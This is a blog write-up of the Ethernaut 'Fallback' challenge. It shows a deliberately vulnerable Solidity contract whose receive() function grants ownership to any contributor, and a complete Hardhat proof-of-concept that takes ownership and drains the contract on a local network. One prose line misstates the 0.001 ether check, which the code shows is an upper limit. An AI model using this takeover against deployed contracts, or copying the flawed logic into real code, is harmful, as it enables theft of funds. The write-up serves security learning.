Ethernaut: Fallback

Foued SAIDI Lv5

Overview

I recently launched a blog post series where I will be posting about my journey in Web3/Blockchain security.
During this series, I will be posting about Web3/Blockchain bugs and exploits, alongside writeups for Ethernaut and Damn Vulnerable DeFi challenges.

You can check the first ‘Hello Ethernaut’ Ethernaut challenge here.

Today, I am following up on the Ethernaut challenges series presented to us by OpenZeppelin !

Hope you enjoy it and learn something new!

‘Fallback’ Challenge

Fallback
Fallback

Overview

Fallback is the second challenge in the Ethernaut series.

Link to the original challenge.

Github repo link that contains challenge code and solver.

Challenge Description

1
2
3
4
5
6
7
8
9
10
11
12
Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract
you reduce its balance to 0
Things that might help

How to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Understanding the contract

Instead of solving the challenge on the browser using developer tools, I just want to do it locally this time by compiling the smart contract and interacting with it directly through unit tests. Which is the same as interacting with it on-chain.

  1. First we have a couple of variable declarations which are a mapping of user contributions and the owner declaration alongside a modifier declaration that will enforce that the user who interacts with specific functions is the owner:
1
2
mapping(address => uint256) public contributions;
address public owner;
1
2
3
4
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
  1. Next we have our constructor where we define who the owner is (he will be the contract deployer) and provide him with initial contributions of 1000ETH. However, it is very important to note that only the contributions mapping is updated and that the contract did not actually receive ethereum to it:
1
2
3
4
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
  1. On the next step, we define the contribute() method which has the logic executed when a user wants to contribute money to the contract:
1
2
3
4
5
6
7
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

Basically this method requires the amout of ETH being sent to be superior to 0.001 then it increases the contribution of the sender. If the sender’s contributions become superior to those of the owner (which is 1000ETH ), he becomes the owner.

  1. We have a withdraw function that is only accessible to the owner and allows him to exfiltrate all the funds from the contract to himself:
1
2
3
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
  1. We also have a receive() function, which is the most interesting in this contract, the receive() function is a special function in designed to handle plain Ether transfers sent directly to a contract address without any accompanying data. It is invoked specifically when Ether is sent using methods like send, transfer, or call with empty calldata. In our case, it checks if the amount sent is superior to 0 and if the sender’s contributions are not null. In that case, it will make the sender into the owner of the contract:
1
2
3
4
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}

Point of failure

  1. The receive() method fails miserabely here: If any user contributes to the contract AND sends ETH without any calldata, it will make him owner and then he will be able to withdraw all the funds from the contract by abusing the withdraw() function.

Exploitation

We have 2 objectives in the Fallback challenge:

  1. Become owner of the contract.
  2. Withdraw all the funds from the contract.

Exploitation Steps

As usual for the Ethernaut challenges series, I decided to use Hardhat for PoC coding.

  1. First, we will need to give our attacker some ETH and make a contribution to the contract:
1
2
3
await networkHelpers.setBalance(attacker.address, ethers.parseEther("1"));
const fallbackAsAttacker = fallback.connect(attacker);
await fallbackAsAttacker.contribute({ value: ethers.parseEther("0.0001") ,});
  1. Next, we will send direct ETH to the contract to trigger the receive() method:
1
await attacker.sendTransaction({to: await fallback.getAddress(),value: ethers.parseEther("0.0001"),});
  1. Then, we can check if the attacker has become owner of the contract, and indeed he did:
1
2
3
if (expect(await fallback.owner()).to.equal(attacker)){
console.log("Attacker is now owner\n");
};
  1. And finally, we can withdraw all the funds from the contract and make sure it is left with 0 ETH:
1
2
await fallbackAsAttacker.withdraw();
expect(await ethers.provider.getBalance(fallback.getAddress())).to.equal(0);

And that way, we have achieve all the necessary objectives.

Exploit test case

You can find below the full Proof of Concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import { expect } from "chai";
import hre from "hardhat";
import { defineConfig } from "hardhat/config";
import hardhatNetworkHelpers from "@nomicfoundation/hardhat-network-helpers";
const { ethers, networkHelpers } = await hre.network.connect();

export default defineConfig({
plugins: [hardhatNetworkHelpers],
});

describe("Fallback Test", function () {

it("Fallback ownserships", async () => {

// setup users
const [deployer, attacker] = await ethers.getSigners();
await networkHelpers.setBalance(attacker.address, ethers.parseEther("1"));

// deploy contract
const Fallback = await ethers.getContractFactory("Fallback",deployer);
const fallback=await Fallback.deploy();
await fallback.waitForDeployment();

console.log('Contract Balance at start is: ',ethers.formatEther(await ethers.provider.getBalance(fallback.getAddress())));

console.log('Attacker Balance at start is: ',ethers.formatEther(await ethers.provider.getBalance(attacker.address)));

// make sure deployer is the owner
const owner = await fallback.owner();
expect(owner).to.equal(deployer)

// contribute as attacker
const fallbackAsAttacker = fallback.connect(attacker);
await fallbackAsAttacker.contribute({ value: ethers.parseEther("0.0001") ,});
console.log('Attacker contribution: ',ethers.formatEther(await fallbackAsAttacker.getContribution()));
console.log('Contract Balance after contribution is: ',ethers.formatEther(await ethers.provider.getBalance(fallback.getAddress())));
console.log('Attacker balance after Contribution: ',ethers.formatEther(await ethers.provider.getBalance(attacker.address)));



// send some ether directly as attacker
await attacker.sendTransaction({to: await fallback.getAddress(),value: ethers.parseEther("0.0001"),});
console.log('Contract Balance after transaction is: ',ethers.formatEther(await ethers.provider.getBalance(fallback.getAddress())));
console.log('Attacker balance after Transaction: ',ethers.formatEther(await ethers.provider.getBalance(attacker.address)),"\n");



// check if attacker is now owner
if (expect(await fallback.owner()).to.equal(attacker)){
console.log("Attacker is now owner\n");
};

// withdraw all funds
console.log('---Attacker now withdrawing funds---\n')
await fallbackAsAttacker.withdraw();
const balance = await ethers.provider.getBalance(attacker.address);
console.log('Attacker balance after withdrawal: ',ethers.formatEther(balance));
console.log('Contract balance after withdrawal: ',ethers.formatEther(await ethers.provider.getBalance(fallback.getAddress())));
expect(await ethers.provider.getBalance(fallback.getAddress())).to.equal(0);





});


});

And below is the output showcasing our successful exploitation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ npx hardhat test

Compiled 1 Solidity file with solc 0.8.28 (evm target: cancun)
No Solidity tests to compile

Running Solidity tests


Running Mocha tests


Fallback Test
Contract Balance at start is: 0.0
Attacker Balance at start is: 1.0
Attacker contribution: 0.0001
Contract Balance after contribution is: 0.0001
Attacker balance after Contribution: 0.99985311668121953
Contract Balance after transaction is: 0.0002
Attacker balance after Transaction: 0.999728962211930585

Attacker is now owner

---Attacker now withdrawing funds---

Attacker balance after withdrawal: 0.999906301109973819
Contract balance after withdrawal: 0.0
✔ Fallback ownserships (96ms)


1 passing (97ms)

Conclusion

We can conclude from what has been elaborated above that including contract logic that might tamper with the invariants of the code inside of the receive() function can be really dangerous, especially when it is related to transferring ownsership of the contract.

That was it for Fallback challenge from Ethernaut series.

You can find through this github link the repository that contains my solver and all the future Ethernaut solutions Inshallah!

See you next time~

  • Title: Ethernaut: Fallback
  • Author: Foued SAIDI
  • Created at : 2025-12-22 20:46:49
  • Updated at : 2025-12-22 20:48:03
  • Link: https://kujen5.github.io/2025/12/22/Ethernaut-Fallback/
  • License: This work is licensed under CC BY-NC-SA 4.0.